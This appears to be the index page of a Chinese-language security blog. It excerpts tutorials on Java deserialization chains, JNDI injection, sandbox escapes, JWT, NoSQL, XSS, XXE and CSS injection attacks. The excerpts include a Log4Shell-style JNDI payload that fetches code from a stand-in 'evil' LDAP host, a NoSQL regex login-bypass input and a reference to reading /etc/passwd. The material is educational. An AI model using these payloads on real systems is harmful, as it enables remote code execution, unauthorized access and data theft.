c01sin1's blog

c01sin1's blog

Commons Collections 反序列化利用链大全——从 CC1 到 CC7 全覆盖
Created2026-07-24|java sec
前言Commons Collections(以下简称 CC)是 Apache 开源的 Java 集合操作库,广泛应用于各类 Java 项目。在 2015 年 FoxGlove Security 的安全研究爆出后,Commons Collections 反序列化漏洞成为 Java 安全史上的一个里程碑——它直接催生了 Ysoserial 项目,也推动了 JEP 290 反序列化过滤机制的落地。 从安全研究的视角看,CC 链的本质思路是:寻找一条从 readObject() 入口到危险 sink(Runtime.exec、TemplatesImpl 字节码加载、JNDI 注入)的完整调用路径。Ysoserial 的作者 @frohoff 和 @gebl 先后发现了 CC1 到 CC7 共七条利用链,外加依赖 Commons BeanUtils 的 CB 链,本文将逐一覆盖。 CC 版本与 JDK 版本总览: 版本 Commons Collections 关键差异 3.x 主流链 3.1 ~ 3.2.2 InvokerTransformer 等 transform 类存在,...
JNDI 注入与 RMI 攻击专题——从远程类加载到 Log4Shell 前传
Created2026-07-24|java sec
前言JNDI(Java Naming and Directory Interface)是 Java 平台提供的一层统一目录服务接口。它抽象了底层具体实现的差异,使开发者可以用同一套 API 去访问 RMI、LDAP、DNS、CORBA 等不同的命名与目录服务。这也是问题的起点:JNDI 只定义接口,不限制实现;攻击者若能控制 lookup 的参数,便可在客户端执行远程类加载,让目标 JVM 下载并执行恶意字节码。 这种攻击模式贯穿了近几年 Java 安全的经典事件——Fastjson 的 JNDI 反序列化链、Jackson 的 JNDI 注入、以及最终引爆整个生态的 Log4Shell(Log4j2 JNDI lookup)。Log4Shell 本质上就是 JNDI 注入的终极形态:日志消息里埋一个 ${jndi:ldap://evil/Exploit},日志框架在处理时触发 lookup,进而加载远程恶意类并执行。因此在深入 Log4Shell 之前,有必要把 JNDI 注入和 RMI 攻击的前置知识梳理清楚。 本文将从 RMI 基础讲起,逐步展开 RMI...
Java 序列化机制深度追踪——从 writeObject 到反序列化漏洞
Created2026-07-24|java sec
前言Java 序列化是将对象状态转换为字节流的过程,反序列化则是从字节流重建对象。这两个过程是 Java RMI、JMX、JNDI 等分布式通信的基石,也是 Java 安全史上最严重的一类漏洞的根源。 2015 年 FoxGlove Security 公开的 WebLogic 反序列化漏洞(CVE-2015-4852)标志着 Java 反序列化攻击进入公众视野。此后,ysoserial 工具集的出现将这一攻击模式系统化,Spring、Shiro、Fastjson、Jackson 等主流框架无一幸免。 理解 Java 序列化的底层实现——ObjectOutputStream 和 ObjectInputStream 的内部调用链——是理解反序列化漏洞利用(Gadget Chain)的前提。本文从 JDK 源码级别追踪完整的序列化与反序列化流程,覆盖 writeObject/readObject、Externalizable、transient/static 行为、serialVersionUID、writeReplace/readResolve 以及 O...
Java URL DNS 反序列化利用链——从原理到检测
Created2026-07-24|java sec
前言Java 反序列化漏洞的利用通常依赖精心构造的 gadget chain(利用链)。在实战中,红队面临的首要问题往往不是”怎么拿 shell”,而是——目标到底有没有反序列化漏洞?URL DNS 这条利用链是 ysoserial 中最短、最通用的一条,它不执行命令、不写文件,只做一件事:触发一次 DNS 查询。正因如此,它是检测反序列化漏洞是否存在的最佳探针。 整条链的核心调用路径只有五步: 1HashMap.put() -> hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> getHostAddress() 下面我们从源码级逐层追踪这条链,理清每个环节的逻辑,然后给出完整的 POC 和实战用法。 调用链完整追踪起点:HashMap.put()HashMap 实现了 Serializable 接口,其 readObject() 方法在反序列化时会重建 map,对每个 entry 调用 putVal(),而 putVal() 内部会先对 key 做一次 hash(): 1234// H...
Node.js VM 沙箱逃逸完全指南——从 vm 模块到 vm2 全线突破
Created2026-07-24|web sec
前言JavaScript 的沙箱(Sandbox)技术一直是服务端安全的关键议题。在 Node.js 生态中,常见的沙箱方案包括原生 vm 模块、vm2 库,以及更现代的 isolated-vm。 Node.js 官方文档明确警告:**”The vm module is not a security mechanism. Do not use it to run untrusted code.”**——vm 模块不是安全机制,不要用它运行不受信任的代码。 vm 和 vm2 的关键区别在于: vm 模块:Node.js 内置,在同一 V8 隔离区(Isolate)内创建上下文,通过作用域隔离实现沙箱。由于共享同一个 V8 Isolate,攻击者一旦拿到全局 Function 构造函数即可逃逸。 vm2:第三方库,在 vm 之上增加了多层安全校验(白名单、代理拦截、属性访问控制等),试图通过”层层加锁”的方式堵住逃逸路径。但历史证明,大多数版本仍存在可被绕过的漏洞。 本文将从 vm 模块基础讲起,逐步递进到 Object.create(null) 绕过技巧,最终汇总 vm2 的 ...
JWT 攻击专题大全——从算法混淆到密钥泄露全覆盖
Created2026-07-23|web sec
前言JWT(JSON Web Token)是现代 Web 应用中最广泛使用的无状态认证方案。它由三部分组成——Header、Payload、Signature,通过 Base64URL 编码后用 . 连接。服务器验证签名即可确认 Token 未被篡改。 JWT 的安全问题集中在三个环节: 算法层面——alg:none 跳过验证、RS256→HS256 密钥混淆 密钥层面——弱密钥被爆破、私钥/公钥泄露 Header 注入——jku/jwk/kid 参数被利用 本文从 JWT 结构讲起,按照攻击类型系统整理了 7 大类攻击手法,覆盖从经典的 alg:none 到高级的 kid SQL 注入,并附完整的工具链和防御方案。 一、JWT 基础1.1 结构12eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c│────── header ──────│────── payload ──────│─────────── signatu...
NoSQL 注入攻击专题——从 MongoDB 操作符到盲注全覆盖
Created2026-07-23|web sec
前言NoSQL 注入(NoSQL Injection)是 SQL 注入在 NoSQL 数据库(MongoDB、CouchDB、Redis 等)中的类比。与 SQL 注入不同的是,NoSQL 攻击通常不是通过拼接查询字符串,而是利用应用层将用户输入直接作为查询操作符传入数据库。 核心原理: 1234用户传入 username[$regex]=.* → PHP 将参数解析为数组 → 查询变成 {"username": {"$regex": ".*"}} → MongoDB 执行正则匹配 → 绕过认证 / 泄露数据 和 SQL 注入的关键区别: SQL 注入 NoSQL 注入 注入点 SQL 字符串拼接 JSON/BSON 操作符注入 攻击目标 闭合引号、构造 UNION、堆叠查询 注入 $regex、$ne、$where 等操作符 盲注方式 SUBSTR + 二分法 $regex + 逐字符匹配 / $where + 时间延...
XSS 攻击专题大全——从基础 Payload 到 CSP 绕过全覆盖
Created2026-07-23|web sec
前言XSS(Cross-Site Scripting,跨站脚本攻击)是 Web 安全中最经典、最普遍的漏洞之一。攻击者将恶意脚本注入目标页面,在受害者浏览器中执行,从而窃取 Cookie、劫持会话、篡改页面内容、发起 CSRF 请求,甚至配合其他漏洞实现完整的账户接管。 XSS 的三种类型: 类型 触发方式 持久性 典型场景 反射型 (Reflected) 用户点击恶意链接,参数立即执行 一次性 搜索框、错误提示中 echo 用户输入 存储型 (Stored) 恶意代码存入数据库,所有访问者触发 持久 留言板、评论、用户资料 DOM 型 (DOM-based) JS 取 URL 参数写入 innerHTML,不经过服务端 取决于来源 location.hash、document.write 本文从基础 Payload 开始,按 HTML 标签分类整理了十余种 XSS 触发方式,然后逐层深入 WAF 绕过、编码技巧、CSP 绕过、DOM Clobbering、Service Worker 劫持等进阶手法,最后给出自动化工具和防御方案。 一、基础 Paylo...
XXE 攻击专题——从实体注入到盲打外带全覆盖
Created2026-07-23|web sec
前言XXE(XML External Entity,XML 外部实体注入)是一种针对 XML 解析器的攻击手法。当应用程序解析用户可控的 XML 输入时,如果解析器未禁用外部实体,攻击者可以利用 DTD 声明中的外部实体读取服务器文件、发起 SSRF 请求、执行拒绝服务攻击,甚至在某些条件下实现远程代码执行。 核心危害: 文件读取:file:///etc/passwd、php://filter 读取源码 SSRF:通过外部实体向内部系统发起 HTTP 请求 端口扫描:利用响应时间或错误信息探测内网开放端口 拒绝服务:Billion Laughs 攻击耗尽服务器内存 RCE(罕见):配合 expect:// 或特定环境(如 PHP except 模块) 本文从 XML/DTD 基础讲起,按有回显、无回显、报错注入、绕过变形四大类整理了十余种 payload,覆盖 file://、php://、expect://、gopher://、jar:// 等多种协议利用,以及 SVG、DOCX、SOAP 等常见 XXE 载体。 一、XML 与 DTD 基础1.1 什么是 XM...
CSS 注入攻击专题——从属性选择器到无感数据窃取
Created2026-07-23|web sec
前言CSS Injection(CSS 注入)是一种常被低估的 Web 攻击手法。当页面允许用户控制 CSS 内容(如 <style> 标签内容或 css 查询参数直接拼接进样式块),攻击者可以利用 CSS 属性选择器 + background: url() 的组合,将页面中的敏感数据(CSRF Token、用户 ID、页面内容等)逐字符发送到外部服务器。 核心优势: 不需要执行 JavaScript(绕过 CSP script-src) 不需要页面有回显(数据通过浏览器发起的 HTTP 请求外带) 属性选择器在 input[value] 上直接生效,无需 JS 读写 DOM 典型攻击场景: 页面 CSS 参数可控(如自定义主题颜色拼接进了 <style>) 目标数据嵌入在 input[value]、meta[content]、自定义属性中 CSP 禁用了 inline script 但没有限制 img-src 或 connect-src 本文从 CSS 属性选择器基础讲起,拆解逐字符爆破 CSRF Token 的完整攻击链,并给出两种实际可用的 ...
123…5
avatar
c01sin1
Articles
42
Tags
271
Categories
5
Follow Me
Announcement
🌸 欢迎来到 c01sin1 的小窝~ 记录Web安全学习笔记 ✨
Recent Posts
致刚学ctf的你2026-09-09
Node.js EJS SSTI 专题——从模板注入到 RCE 原理解析2026-07-24
Node.js RCE 完全指南——从 eval 注入到绕过 getshell2026-07-24
JavaScript 原型链污染攻击专题——从基础原理到 CTF 全利用链2026-07-24
云安全基础与 CTF 利用——从元数据 SSRF 到对象存储攻防2026-07-24
Categories
  • CTF1
  • java sec5
  • php sec5
  • php-sec2
  • web sec29
Tags
nc gadget-chain GBK 模板注入 error_log cookie zip base64 add_url_rule .git 权限提升 迭代器 沙箱逃逸 kid注入 OOB XXE mail函数 请求走私 serialVersionUID child_process CTF SUID 手册 readResolve FastAPI 入门 eval GitHack so劫持 渗透测试 NoSQL Injection git-dumper 持久化 Pwn werkzeug SSI BadAttributeValueExpException CommonsCollections Reverse generator
Archives
  • 九月 2026 1
  • 七月 2026 41
Website Info
Article Count :
42
Unique Visitors :
Page Views :
Last Update :
© 2025 - 2026 By c01sin1Framework Hexo 7.3.0|Theme Butterfly 5.5.5